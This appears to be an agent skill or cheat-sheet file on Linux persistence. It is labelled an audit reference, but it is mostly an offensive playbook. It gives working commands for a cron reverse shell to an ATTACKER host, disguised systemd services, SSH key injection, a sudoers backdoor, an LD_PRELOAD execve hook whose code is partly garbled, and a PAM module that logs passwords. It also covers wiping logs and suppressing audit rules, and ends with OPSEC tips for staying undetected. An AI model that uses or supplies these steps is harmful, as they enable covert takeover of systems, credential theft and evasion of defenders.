| name | linux-persistence |
| description | Auth/lab ref: Linux durability-risk audit; cron/systemd/SSH/PAM/LD_PRELOAD indicators, validation, cleanup and remediation notes. |
| license | MIT |
| compatibility | Linux; Bash/system-service context; root required for system-wide changes. |
| metadata | {"author":"AeonDave","version":"1.0"} |
Linux Persistence Mechanisms
Post-exploitation persistence: durable, stealthy, rebootable backdoors.
Quick Start: Fastest Persistence Methods
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
echo "* * * * * /tmp/backdoor.sh" | crontab -
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/backdoor.sh
Restart=always
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable backdoor.service
Cron-Based Persistence
1. Simple Cron Backdoor
(crontab -l 2>/dev/null || true; echo "*/5 * * * * /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1") | crontab -
echo "*/5 * * * * /tmp/backdoor.sh" >> /var/spool/cron/crontabs/root
2. Hidden Cron Job
echo "*/15 * * * * /usr/local/bin/system-update.sh 2>/dev/null" >> /var/spool/cron/crontabs/root
3. User-Level Cron (Less Suspicious)
(crontab -l 2>/dev/null || true; echo "*/10 * * * * /tmp/callback.sh") | crontab -
4. At-Based Scheduling (One-Shot)
echo "/tmp/backdoor.sh" | at 2:00 AM tomorrow
echo "echo '/tmp/backdoor.sh' | at 2:00 AM tomorrow" >> /tmp/loop.sh
Systemd Service Persistence
1. Systemd Service Backdoor
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=root
ExecStart=/tmp/backdoor.sh
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable system-update.service
systemctl start system-update.service
2. Systemd Timer (Scheduled Execution)
cat > /etc/systemd/system/system-update.timer << 'EOF'
[Unit]
Description=System Update Timer
Requires=system-update.service
[Timer]
OnBootSec=2min
OnUnitActiveSec=5min
AccuracySec=1s
[Install]
WantedBy=timers.target
EOF
systemctl daemon-reload
systemctl enable system-update.timer
systemctl start system-update.timer
3. Oneshot Service (Run Once at Boot)
cat > /etc/systemd/system/setup.service << 'EOF'
[Unit]
Description=System Setup
After=network.target
[Service]
Type=oneshot
ExecStart=/tmp/setup.sh
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable setup.service
4. Detect & Verify Service
systemctl list-units --type=service
systemctl status backdoor.service
cat /etc/systemd/system/backdoor.service
journalctl -u backdoor.service -f
SSH-Based Persistence
1. SSH Authorized Keys (Immediate Access)
ssh-keygen -t ed25519 -f attacker_key -N ""
cat >> /root/.ssh/authorized_keys << 'EOF'
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5 attacker@home
EOF
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
ssh -i attacker_key root@target
2. SSH Forced Command (Limited Shell)
cat >> /root/.ssh/authorized_keys << 'EOF'
command="/bin/bash -i" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5 attacker@home
EOF
3. SSH Proxy Command (Stealth)
cat >> ~/.ssh/config << 'EOF'
Host internal-prod
HostName 10.0.0.5
ProxyCommand ssh attacker@home -W %h:%p
EOF
4. SSH Root Access via Sudo
echo "www-data ALL=(ALL) NOPASSWD: /bin/bash" >> /etc/sudoers.d/www-data
LD_PRELOAD Rootkit Persistence
1. Create Malicious Shared Library
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
typedef int (*execve_t)(const char *pathname, char *const argv[], char *const envp[]);
static execve_t original_execve = NULL;
int execve(const char *pathname, char *const argv[], char *const envp[]) {
if (!original_execve) {
original_execve = (execve_t) dlsym(RTLD_NEXT, "execve");
}
if (strstr(pathname, "/bin/ls") != NULL) {
pid_t pid = fork();
if (pid == 0) {
execl("/bin/bash", "bash", , , );
();
}
}
original_execve(pathname, argv, envp);
}
2. Compile & Install
gcc -shared -fPIC -ldl -o /lib/x86_64-linux-gnu/backdoor.so backdoor.c
echo "/lib/x86_64-linux-gnu/backdoor.so" >> /etc/ld.so.preload
cat /etc/ld.so.preload
ldd /bin/ls | grep backdoor
3. Hide Backdoor
chattr +i /lib/x86_64-linux-gnu/backdoor.so
PAM Hijacking (Credential Harvesting + Backdoor)
1. PAM Backdoor Module
cat > pam_backdoor.c << 'EOF'
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user = NULL;
const char *passwd = NULL;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &passwd, NULL);
// Log password to file
FILE *f = fopen("/tmp/.pam_log", "a");
fprintf(f, "%s:%s\n", user, passwd);
fclose(f);
// Call original PAM auth
return pam_sm_authenticate(pamh, flags, argc, argv);
}
EOF
gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
echo "auth optional pam_backdoor.so" >> /etc/pam.d/common-auth
Init Script Persistence (Legacy Systems)
1. /etc/init.d Script
cat > /etc/init.d/system-monitor << 'EOF'
case "$1" in
start)
/tmp/backdoor.sh &
;;
esac
exit 0
EOF
chmod +x /etc/init.d/system-monitor
update-rc.d system-monitor defaults
2. /etc/rc.local
echo "/tmp/backdoor.sh &" >> /etc/rc.local
chmod +x /etc/rc.local
MOTD (Message of the Day) Backdoor
echo -e "\n#!/bin/bash\n/tmp/callback.sh &\n" >> /etc/motd
chmod +x /etc/motd
Bash/Shell Configuration Persistence
1. ~/.bashrc / ~/.bash_profile
echo "/tmp/backdoor.sh &" >> ~/.bashrc
echo "/tmp/backdoor.sh &" >> /etc/bash.bashrc
2. /etc/profile.d/
cat > /etc/profile.d/system-update.sh << 'EOF'
/tmp/backdoor.sh &
EOF
chmod +x /etc/profile.d/system-update.sh
Detection Evasion
1. File Permissions Obfuscation
chmod 755 /tmp/backdoor.sh
touch -t 202201010000 /tmp/backdoor.sh
cp /tmp/backdoor.sh /usr/lib/system-update.sh
2. Log Suppression
cat /dev/null > /var/log/cron
auditctl -a never,exit -F path=/tmp/backdoor.sh
cat /dev/null > ~/.bash_history
3. Process Hiding
(/tmp/backdoor.sh &) &
disown
OPSEC Considerations
⚠️ Detection risks:
| Method | Detection Risk | TTL |
|---|
| SSH Key | 🔴 High (auth logs) | Forever |
| Cron | 🟠 Medium (cron logs) | 1 year (log rotation) |
| Systemd Service | 🟠 Medium (systemctl list) | Forever (visible) |
| LD_PRELOAD | 🟡 Low (hidden, binary-level) | Until reboot or library removed |
| PAM Module | 🟡 Low (authentication level) | Until admin discovers |
| Shell Config | 🔴 High (user's ~/.bashrc) | Forever (user shell) |
✅ Recommendations:
- Use SSH key injection for immediate access (easiest)
- Use cron for periodic callbacks (requires regular execution)
- Use systemd for persistence across reboots (obvious if discovered)
- Use LD_PRELOAD for stealthy, process-level hiding (most sophisticated)
- Combine multiple methods for redundancy
❌ Avoid:
- Single persistence method (one removal = no access)
- Obvious filenames (/tmp/backdoor.sh)
- Noisy execution patterns (every minute cron)
- Root access required if user-level options available
Integration with Other Tools
| Tool | Use |
|---|
| pwncat | Auto-adds SSH key + cron backdoor |
| LinPEAS | Identifies persistence opportunities (writable cron, sudoers) |
| ssh-key-scanner | Finds existing SSH keys for pivoting |
| linux-exploit-suggester | Finds kernel exploits for privilege escalation (prerequisite) |
References & Resources
| Resource | Topic |
|---|
references/ | Detailed exploitation chains, bypass techniques, forensic evasion |
| GTFOBins | Binaries with persistence gadgets |
| HackTricks | Linux persistence techniques & detection evasion |